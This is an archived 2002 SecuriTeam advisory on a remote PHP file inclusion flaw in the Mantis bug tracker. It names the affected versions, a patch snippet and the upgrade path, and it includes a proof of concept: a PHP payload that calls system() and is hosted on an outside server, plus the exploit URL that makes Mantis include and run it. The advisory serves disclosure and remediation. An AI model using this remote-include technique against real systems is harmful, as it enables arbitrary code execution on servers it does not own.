

[UNIX] Arbitrary Code Execution Vulnerability in Mantis

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-08/0065.html>

From: support@securiteam.com

Date: 08/20/02

From: support@securiteam.com

To: list@securiteam.com

Date: Tue, 20 Aug 2002 11:04:48 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Arbitrary Code Execution Vulnerability in Mantis

SUMMARY

<<http://mantisbt.sourceforge.net/>> Mantis is an Open Source web-based bug tracking system, written in PHP, which uses the MySQL database server. It is being actively developed by a small group of developers, and is considered to be in the beta stage. A security vulnerability in the product allows remote attackers to cause the product to execute arbitrary code.

DETAILS

Vulnerable systems:

- * Mantis version 0.17.3 down to 0.15.3 (not including)

Immune systems:

- * Mantis version 0.17.4a
- * Mantis version 0.17.4
- * Mantis version 0.15.3 and below

Mantis includes code that cooperates with JpGraph to generate some statistical graphs. Some of this code is stored in an include file, `summary_graph_functions.php`. This file takes care of loading the JpGraph

Securiteam: [UNIX] Arbitrary Code Execution Vulnerability in Mantis

library, using an include() statement.

The path to the JpGraph library is stored in the configuration file. However, summary_graph_functions.php does not load the configuration file, but expects other scripts to have done that before including summary_graph_functions.php.

A vulnerability opens up when summary_graph_functions.php is opened in a browser. Any malicious user can execute arbitrary PHP code as the webserver user by setting \$g_jpgraph_path to a local path or an URL.

Workaround / Solution:

Mantis 0.17.4 adds various checks that prevent this vulnerability. All users are recommended to upgrade to this version as soon as possible.

If an upgrade is not possible, the vulnerability can be closed by inserting the following lines at the top of summary_graph_functions.php:

```
if ( isset($HTTP_GET_VARS['g_jpgraph_path']) ||
    isset($HTTP_POST_VARS['g_jpgraph_path']) ||
    isset($HTTP_COOKIE_VARS['g_jpgraph_path']) ) {
    exit;
}
```

Technical details:

To exploit this vulnerability, an attacker only has to store the PHP code (s)he wishes to execute in a text file, make this available on a web server accessible by the Mantis installation and point the \$g_jpgraph_path variable to that location.

For example, we create a file with the following content:

```
<?php
system('ls');
exit;
?>
```

We make this file available on a webserver, for example at <http://server.mynetwork.net/listings.txt>. If the Mantis installation does not have access to the internet, the file should be stored on an internal server.

We then point our browser to

http://mantis.server.com/mantis/summary_graph_functions.php?g_jpgraph_path=http%3A%2F%2Fserver.mynetwork.net/listings.txt?jpgraph.php

This will execute the following call:

```
include('http://server.mynetwork.net/listings.txt?jpgraph.php');
```

This instructs PHP to download listings.txt and parse it as a PHP script. In this case, the browser should print a file listing of the current directory.

ADDITIONAL INFORMATION

Securiteam: [UNIX] Arbitrary Code Execution Vulnerability in Mantis

The information has been provided by <mailto:tharbad@kaotik.org> Joao Gouveia (Vulnerability finder) and <mailto:jlatour@calaquendi.net> Jeroen Latour (Advisory writer).

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- *Previous message:* support@securiteam.com: "[NT] Arbitrary File Creation/Overwrite with SQL Agent Jobs"
 - *Messages sorted by:* [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)